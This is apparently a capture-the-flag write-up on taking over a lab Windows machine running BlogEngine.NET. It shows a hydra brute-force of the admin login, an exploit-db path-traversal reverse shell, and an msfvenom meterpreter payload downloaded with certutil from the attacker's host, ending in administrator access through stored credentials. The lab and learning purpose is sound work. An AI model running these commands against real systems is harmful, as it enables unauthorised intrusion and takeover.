## NMAP
|
||||
|
||||
This is a windows machine so it might not respond to ping so in this we are going to use `-Pn` to ingore ping the box
|
||||
```
|
||||
nmap -Pn -sC -sV 10.10.34.2
|
||||
|
||||
Host is up (0.17s latency).

||||

## PORT 80
|

<img src="https://imgur.com/nOYC3rf.png"/>
|
||||
|
||||
I uploaded the image to see where this image was on the internet
|
||||
|
||||
<img src="https://imgur.com/WfgWFD7.png"/>
|
||||
|
||||
Then I came on to a page where it mentions the clown's name `pennywise`
|
||||
|
||||
<img src="https://imgur.com/J8mG2C8.png"/>
|
||||
|
||||
## Gobuster
|
||||
|
||||
<img src="https://imgur.com/KV2eaqt.png"/>
|
||||
|
||||
Here we see an `/admin` page lets visit it
|
||||
|
||||
<img src="https://imgur.com/q2OCmr1.png"/>
|
||||
|
||||
We can on the source that this is `post` form which the request that will be made here will be post a request.
|
||||
|
||||

|
||||
|
||||
|
||||
## Hydra
|
||||
|
||||
Now that we know it's a `post` request login form let's try to bruteforce it with `hydra` but we want a username to bruteforce with so by looking at the hints provided by this room the username is `admin` .
|
||||
|
||||
Doing this will give you wrong results
|
||||
|
||||
`hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.34.2 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin:UserName=^USER^ & Password=^PASS^&Login:Login failed"`
|
||||
|
||||
<img src="https://imgur.com/UA1LzC1.png"/>
|
||||
|
||||
Now we launch `burpsuite` intercept the login page with the credentials and we will get this request
|
||||

||||

|

```
|
||||
Modify the command by replacing `%21admin:` with `/admin:` and Username=admin with `^USER^` , Password=`^PASS^`
|
||||
|
||||
```
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.34.2 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=rKI96%2BsCmsHE%2BBnXdIfX2SDkfH9eXlljTdGkdGcVZvZs4wFTrEcHN8RzIiJUP3%2BmIotfzJsQcEGZkMsFWgCKCcodwrJ0SgoYW6AHLLU3Lf9eI4t0abp6pf2yQ6TIJhJb8D143UhfjmN83j2hEeECKoz5FknRAYWStUq%2FPQA%2FIuHRtaES66kLKksczFvJuU%2B5g5E0lZFLWKoiBU8kIHH%2FBJcfOZrMU4UiWe9lOS2zOwtICdeoD3%2FmgBKIVbefaQDASAS%2BEyufY0WmK%2FGQlKkKrKgw7aY5yjnjHK0qlnhWSlYirlOzmQG1OM%2BgjNLe9lh%2B0FnTKo%2B8l2yrE%2FOtmjfzo7GUHHDyy2kG3Jzb%2Fnc63sYdmpE3&__EVENTVALIDATION=TuS%2F6KtXDbAW7T9F99qLDc%2Bdn5DVR%2FFt6iHlpBIA70gHcfSj6gOvo%2BedBax4e%2Bg9AHpwy0wZr9UAz18%2FzK7qGWGOt3Qa3y0kYnv7So%2BCr7Dx%2F2hgHXmU8QEl1nZbLT%2B9X%2FYLOQfNLu6V2SMGWewSmvdqTs%2FIbIHGLoXPTljXEiu4yPSy&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed" -V
|
||||
|
||||
```
|
||||
|
||||
|
||||
<img src="https://imgur.com/113BURI.png"/>
|
||||
|
||||
Now give it some time while it's ruuning
|
||||
|
||||
<img src="https://imgur.com/rCaj2oT.png"/>
|
||||
|
||||
And you will have your username : `admin` and password : `1qaz2wsx`
|
||||
|
||||
<img src="https://imgur.com/IkZtMrd.png"/>
|
||||
|
||||
<img src="https://imgur.com/hqhpTq4.png"/>
|
||||
|
||||
You can see here that it is using `blogengine.net` and it's version is `3.3.6`. So first thing that I'am going to do is search for this on `exploit-db`
|
||||
|
||||
https://www.exploit-db.com/exploits/46353
|
||||
|
||||
<img src="https://imgur.com/r9FFuln.png"/>
|
||||
|
||||
|
||||
Now edit your IP and port in this code
|
||||
|
||||
<img scr="https://imgur.com/yjZfCJX.png"/>
|
||||
|
||||
Save it as `PostView.ascx`
|
||||
|
||||
<img src="https://imgur.com/x8qIvhG.png"/>
|
||||
|
||||
|
||||
Go to `Posts` on the blogenginge
|
||||
|
||||
<img src="https://imgur.com/bvCHx6j.png"/>
|
||||
|
||||
|
||||
<img src="https://imgur.com/2ZW9WAF.png"/>
|
||||
|
||||
|
||||
<img src="https://imgur.com/7I2LHIJ.png"/>
|
||||
|
||||
Set up your `netcat` listener
|
||||
|
||||
Navigate to `http://10.10.34.2/?theme=../../App_Data/files`
|
||||
|
||||
<img src="https://imgur.com/DS7kjLU.png"/>
|
||||
|
||||
|
||||
<img src="https://imgur.com/6dCUcb9.png"/>
|
||||
|
||||
|
||||
Now this shell is unstable so we are going to upload a payload and capture it using `metasploit`
|
||||
|
||||
## Msfvenom
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.3.143 LPORT=5555 -f exe > shell.exe
|
||||
```
|
||||
|
||||
<img src="https://imgur.com/DJUbGfB.png">
|
||||
|
||||
## Metasploit
|
||||
|
||||
Launch metasploit through `msfconsole -q`
|
||||
|
||||
`use exploit/multi/handler ` for listener
|
||||
|
||||
<img src="https://imgur.com/4yX4MSe.png"/>
|
||||
|
||||
Set the options as same as on the payload
|
||||
|
||||
<img src="https://imgur.com/e9sZ8t6.png"/>
|
||||
|
||||
Now upload it to the reverse shell
|
||||
|
||||
`python3 -m http.server 80` For uploading
|
||||
|
||||
`certutil.exe -urlcache -f http://10.14.3.143:80/shell.exe shell.exe` For donwloading through reverse shell
|
||||
|
||||
|
||||
<img src="https://imgur.com/WgDH07u.png"/>
|
||||
|
||||
And looks we have it on the windows box
|
||||
|
||||
<img src="https://imgur.com/6cw5ojF.png"/>
|
||||
|
||||
And just like that we have a stabilized reverse shell through metasploit ,awesome !
|
||||
|
||||
<img src="https://imgur.com/n02ykTg.png"/>
|
||||
|
||||
You can run `systeminfo` on cmd
|
||||
|
||||
```
|
||||
systeminfo

For some reason the abonormal service part was giving me issues so I skipped doing the whole `message.exe` thing instead I found something interesting with winpeas that there are autologon credentials for the administrator , We know that RDP on port 3389 is open so we can use `remmina` and get in to the box
|
||||
|
||||

|
||||
|
||||
Now we are administrator and can do pretty much anythin.
